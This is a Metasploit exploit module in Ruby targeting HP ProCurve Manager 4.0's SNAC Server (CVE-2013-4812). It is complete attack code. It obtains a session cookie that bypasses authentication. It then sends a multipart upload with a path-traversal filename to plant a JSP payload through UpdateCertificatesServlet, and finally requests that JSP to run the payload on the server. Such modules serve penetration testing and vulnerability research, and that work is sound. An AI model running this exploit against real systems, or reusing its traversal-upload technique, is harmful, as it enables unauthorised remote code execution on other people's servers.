require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload',
'Description' => %q{
This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary
files, just having into account binary writes aren't allowed. Additionally, authentication
can be bypassed in order to upload the file. This module has been tested successfully on
the SNAC server installed with HP ProCurve Manager 4.0.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>',
'juan vazquez'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4812' ],
[ 'OSVDB', '97155' ],
[ 'BID', '62348' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => 'Sep 09 2013'))
register_options(
[
Opt::RPORT(443)
], self.class )
end
def check
session = get_session
if session.nil?
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet",
'cookie' => session
})
if res and res.code == 200 and res.body =~ /"success":"true"/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def get_session
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
session = nil
if res and res.code == 200
session = res.get_cookies
end
if session and not session.empty?
return session
end
return nil
end
def exploit_upload(session)
jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp"
rand_password = rand_text_alpha(4 + rand(10))
post_message = Rex::MIME::Message.new
post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"")
post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"")
post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"")
post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"")
data = post_message.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi(
{
'uri' => "/RegWeb/RegWeb/UpdateCertificatesServlet",
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_message.bound}",
'cookie' => session,
'data' => data,
})
if res and res.code == 200 and res.body =~ /Certificate import fails/
return jsp_name
end
return nil
end
def peer
return "#{rhost}:#{rport}"
end
def exploit
print_status("#{peer} - Getting a valid session...")
session = get_session
if session.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session")
end
print_status("#{peer} - Uploading payload...")
jsp = exploit_upload(session)
unless jsp
fail_with(Failure::NotVulnerable, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
end
end
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